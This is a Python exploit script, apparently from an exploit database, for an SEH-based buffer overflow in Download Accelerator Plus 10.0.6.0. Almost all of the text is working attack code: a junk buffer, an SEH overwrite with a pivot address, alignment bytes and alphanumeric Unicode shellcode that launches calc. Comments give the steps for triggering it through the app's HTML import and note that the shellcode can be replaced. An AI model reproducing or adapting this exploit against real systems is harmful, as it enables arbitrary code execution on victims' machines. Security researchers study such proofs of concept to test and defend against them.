Download Accelerator Plus (DAP) 10.0.6.0 – SEH Buffer Overflow
#!/usr/bin/python # # Exploit Title: Download Accelerator Plus DAP 10.0.6.0 - SEH Buffer Overflow # # Date: 2019-04-05 # # Vendor Homepage: http://www.speedbit.com/dap/ # # Software Link: http://www.speedbit.com/dap/download/downloading.asp # # Exploit Author: Peyman Forouzan # # Tested Version: 10.0.6.0 # # Tested on: Win10 Enterprise 64 bit # # Note : In other versions of Windows, it will cause the program to Crash # # Special Thanks to my wife # # Steps : # # 1- Run python code : Dap.py ( Dap.txt is created ) # # 2- Open the APP --> File --> Import --> Html Web Page --> paste in contents from the Dap.txt into # # Import Web Page --> Ok --> Shellcode (Calc) open # #---------------------------------------------------------------------------------------------------------# junk = "\x41" * 4091 nseh = "\x61\x62" seh = "\x57\x42" # Overwrite Seh # 0x00420057 : {pivot 8} prepare = "\x44\x6e\x53\x6e\x58\x6e\x05" prepare += "\x14\x11\x6e\x2d\x13\x11\x6e\x50\x6d\xc3" prepare += "\x41" * 107; # calc unicode shell - can be replaced with shellcode calc = "PPYAIAIAIAIAQATAXAZAPA3QADAZA" calc += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA" calc += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB" calc += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K" calc += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL" calc += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55" calc += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V" calc += "NQKONQ90FLGQ8OLMKQY7NXK0T5L4M33MKHOKSMND45JB" calc += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT" calc += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU" calc += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM" calc += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC" calc += "QQ2LRCM0LJA"; buffer = "http://" + junk + nseh + seh + prepare + calc print "[+] Creating %s bytes payload ..." %len(buffer) f = open ("Dap.txt", "w") print "[+] File created!" f.write(buffer) f.close() |